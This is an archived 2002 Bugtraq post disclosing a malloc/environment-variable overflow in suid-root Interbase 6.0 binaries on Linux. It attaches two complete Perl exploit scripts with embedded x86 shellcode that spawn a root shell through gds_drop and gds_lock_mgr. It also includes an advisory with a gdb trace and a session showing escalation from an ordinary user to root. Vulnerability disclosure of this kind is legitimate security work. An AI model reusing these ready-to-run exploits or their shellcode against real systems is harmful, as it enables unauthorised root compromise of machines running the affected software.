[25848] in bugtraq
Interbase 6.0 malloc() issues
daemon@ATHENA.MIT.EDU (KF)
Tue Jun 18 14:52:05 2002
Message-ID: <3D0EA345.2060808@snosoft.com>
Date: Mon, 17 Jun 2002 23:04:37 -0400
From: KF <dotslash@snosoft.com>
MIME-Version: 1.0
To: vuln-dev@security-focus.com, bugtraq@security-focus.com
Content-Type: multipart/mixed;
boundary="------------060805030701060202000003"
--------------060805030701060202000003
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
As usual this update will be posted to http://www.snosoft.com/research
-KF
--------------060805030701060202000003
Content-Type: text/plain;
name="interbase_gds_drop.pl"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="interbase_gds_drop.pl"
#!/usr/bin/perl -w
#
# gds_drop exploit for Interbase 6.0 linux beta
#
# - tested on redhat 7.2
#
# - Developed in the Snosoft Cerebrum test labs
# - (http://www.snosoft.com) - overflow found by KF
#
# coded by stripey - 15/06/2002 (stripey@snosoft.com)
#
($offset) = @ARGV,$offset || ($offset = 0);
$sc = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";
$ENV{"FOO"} = $sc;
$buf = pack("l",(0xbffffdc0+$offset))x86;
$buf .= "A";
$ENV{"INTERBASE"} = $buf;
exec("/usr/local/interbase/bin/gds_drop");
--------------060805030701060202000003
Content-Type: text/plain;
name="interbase_gds_lock_mgr.pl"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="interbase_gds_lock_mgr.pl"
#!/usr/bin/perl -w
#
# gds_lock_mgr exploit for Interbase 6.0 linux beta
#
# - tested on redhat 7.2
#
# - Developed in the Snosoft Cerebrum test labs
# - (http://www.snosoft.com) - overflow found by KF
#
# Note: We cannot attach to an interactive shell so it
# will execute /tmp/sh instead...
#
# coded by stripey - 15/06/2002 (stripey@snosoft.com)
#
($offset) = @ARGV,$offset || ($offset = 0);
$sc = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/tmp/sh";
$ENV{"FOO"} = $sc;
$buf = pack("l",(0xbffffdc0+$offset))x86;
$buf .= "A";
$ENV{"INTERBASE"} = $buf;
exec("/usr/local/interbase/bin/gds_lock_mgr");
--------------060805030701060202000003
Content-Type: text/plain;
name="interbase-adv.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="interbase-adv.txt"
======================================================================
Strategic Reconnaissance Team Security Advisory (SRT2002-06-17-1043)
Topic : Interbase 6.0-1
Date : June 17, 2002
Credit : KF dotslash[at]snosoft.com
Site : http://www.snosoft.com
======================================================================
.: Description:
---------------
interbase-6.0-1.i386.rpm provided with Mandrake 7.2 contains an issue
when reading the enivornment variable "INTERBASE". This issue is
demonstrated below.
[dotslash@ghetto dotslash]$ export INTERBASE=`perl -e 'print "A" x 500'`
[dotslash@ghetto dotslash]$ /usr/local/interbase/bin/gds_drop
Segmentation fault
This issue results in a malloc() overflow.
The following suid root binaries are potentially exploitable.
/usr/local/interbase/bin/gds_drop
/usr/local/interbase/bin/gds_inet_server
/usr/local/interbase/bin/gds_lock_mgr
(gdb) r
Starting program: /usr/local/interbase/bin/gds_drop
Program received signal SIGSEGV, Segmentation fault.
0x400a0832 in ptmalloc_init () at malloc.c:1696
1696 malloc.c: No such file or directory.
in malloc.c
(gdb) bt
#0 0x400a0832 in ptmalloc_init () at malloc.c:1696
#1 0x400a4e64 in malloc_hook_ini (sz=364, caller=0x40092571) at
malloc.c:1856
#2 0x400a0f8d in __libc_malloc (bytes=364) at malloc.c:2798
#3 0x40092571 in _IO_new_fopen (
filename=0xbfffd65c 'A' <repeats 200 times>..., mode=0x80583c0 "r")
at iofopen.c:50
#4 0x0804a244 in ISC_get_config ()
#5 0x41414141 in ?? ()
Cannot access memory at address 0x41414141
.: Impact:
----------
local root can be exploited.
[dotslash@ghetto dotslash]$ id
uid=501(dotslash) gid=1214(snosoft) groups=1214(snosoft),501(dotslash)
[dotslash@ghetto dotslash]$ /etc/hackme/done/interbase_gds_drop_exploit
sh-2.05# id
uid=0(root) gid=1214(snosoft) groups=1214(snosoft),501(dotslash)
.: Systems Affected:
--------------------
This ships with Mandrake 7.2 on one of the extra CD's. If you have
installed from the following packages you should consider yourself
vulnerable: interbase-6.0-1.i386.rpm or ib_source601.tar.gz
.: Solution:
------------
The source code contains numerous strcat() calls ... it was difficult
to tell which actually caused the problem.
Borland.com was notified ... the status on a fix is unknown. Due to
lack of access to version 6.5 it is unknown if current versions are
affected.
======================================================================
--------------060805030701060202000003--
